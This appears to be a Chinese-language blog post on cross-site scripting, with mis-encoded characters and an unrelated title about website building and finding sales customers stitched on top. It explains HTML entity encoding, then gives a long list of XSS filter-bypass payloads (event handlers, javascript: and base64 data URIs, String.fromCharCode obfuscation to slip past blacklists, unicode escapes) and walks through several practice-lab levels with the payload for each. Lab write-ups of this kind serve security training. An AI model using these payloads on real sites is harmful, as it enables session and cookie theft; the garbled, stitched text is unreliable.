dw8做網(wǎng)站步驟圖銷(xiāo)售怎么找客戶源
HTML實(shí)體化編碼
為了避免 XSS 攻擊,會(huì)將<>
編碼為<
與>
,這些就是 HTML 實(shí)體編碼。
編碼前 | 編碼后 |
---|---|
不可分的空格 | |
< (小于符號(hào)) | < |
> (大于符號(hào)) | > |
& (與符號(hào)) | & |
″ (雙引號(hào)) | " |
’ (單引號(hào)) | ' |
? (版權(quán)符號(hào)) | © |
he.encode('<img src=""></img>') // "<img src=""></img>"// 轉(zhuǎn)義
he.escape('<img src=""></img>') // "<img src=""></img>"
常見(jiàn)的繞過(guò)payload
<img src="x" onerror=alert(1)>
<img src=1 οnmοuseοver=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 適用于繞過(guò)黑名單 alert 在跨站中,String.fromCharCode 主要是使到
一些已經(jīng)被列入黑名單的關(guān)鍵字或語(yǔ)句安全通過(guò)檢測(cè),把關(guān)鍵字或語(yǔ)句轉(zhuǎn)換成為 ASCII 碼,
然后再用 String.fromCharCode 還原,因?yàn)榇蠖鄶?shù)的過(guò)濾系統(tǒng)都不會(huì)把 String.fromCharCode
加以過(guò)濾,例如關(guān)鍵字 alert 被過(guò)濾掉,那就可以這么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(實(shí)體化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" οnerrοr=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>
靶場(chǎng)實(shí)戰(zhàn)(一)
歡迎來(lái)到XSS挑戰(zhàn)
Level 1
通過(guò)觀察頁(yè)面,猜測(cè)因該是一個(gè)傳參name=test可以下手
查看頁(yè)面源代碼
從這里我們可以看到它將name的參數(shù)值,插入到了<h2> </h2>
標(biāo)簽之間,第一關(guān)沒(méi)有過(guò)濾
payload:name=<script>alert('xss')</script>
Level 2
一個(gè)搜索框,故技重施失敗了,判斷他有過(guò)濾
查看源代碼,上面一行是查詢的回顯,可以看到被實(shí)體化編碼了,下面一行被雙引號(hào)包裹
上面的實(shí)體化編碼無(wú)法繞過(guò)了,現(xiàn)在的目標(biāo)轉(zhuǎn)化為下面一行,那就是閉合!
payload: "><script>alert(1)</script>//
或者 "><script>alert(1)</script><
實(shí)測(cè)也可以不用注釋后面的">,說(shuō)明HTML屬于弱類(lèi)型,校驗(yàn)不嚴(yán)格,另外查看這關(guān)源代碼,調(diào)用的函數(shù)是 htmlspecialchars() 它的作用就是讓 < 和 > 被HTML實(shí)體化編碼
PHP htmlspecialchars() 函數(shù)
Level 3
還是搜索框,故技重施x2,無(wú)果,看源代碼
這波看似沒(méi)辦法搞了,兩邊都被實(shí)體化了
仔細(xì)一想,兩個(gè)尖括號(hào)以及被ban掉,
特殊事件 onmouseover onclick onfocuse 的介紹鏈接:
HTML onmouseover 事件屬性 | 菜鳥(niǎo)教程
HTML onclick 事件屬性 | 菜鳥(niǎo)教程
HTML onfocus 事件屬性 | 菜鳥(niǎo)教程
函數(shù) | 效果 |
---|---|
οnmοuseοver=alert(1) | 鼠標(biāo)指針移至圖片之上時(shí)彈窗 |
οnclick=alert(1) | 輸入域獲得焦點(diǎn)時(shí)彈窗 |
οnfοcus=alert(1) | 單擊鼠標(biāo)時(shí)彈窗 |
還有一個(gè)問(wèn)題就是閉合這兩個(gè)引號(hào),閉合前面的,注釋或者閉合后面的,這里跟上一關(guān)的標(biāo)簽閉合不一樣,是比較嚴(yán)格的,不閉合屬性中的值會(huì)無(wú)法執(zhí)行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='
靶場(chǎng)實(shí)戰(zhàn)(二)
alert(1)
0x00
啥也沒(méi)有直接來(lái)吧
0x01
前面的<textarea>
標(biāo)簽有個(gè)特性,無(wú)法創(chuàng)建其他標(biāo)簽,那就閉合掉
0x02
input標(biāo)簽,直接onmouseover+閉合
連招,
還有種方法是閉合+新開(kāi)標(biāo)簽 "> <script>alert(1)</script>
當(dāng)然也可以用"><img src="x" onerror="alert(1)">
也是很好用的
0x03
過(guò)濾了左右括號(hào) () 那就用反引號(hào)`繞過(guò)
?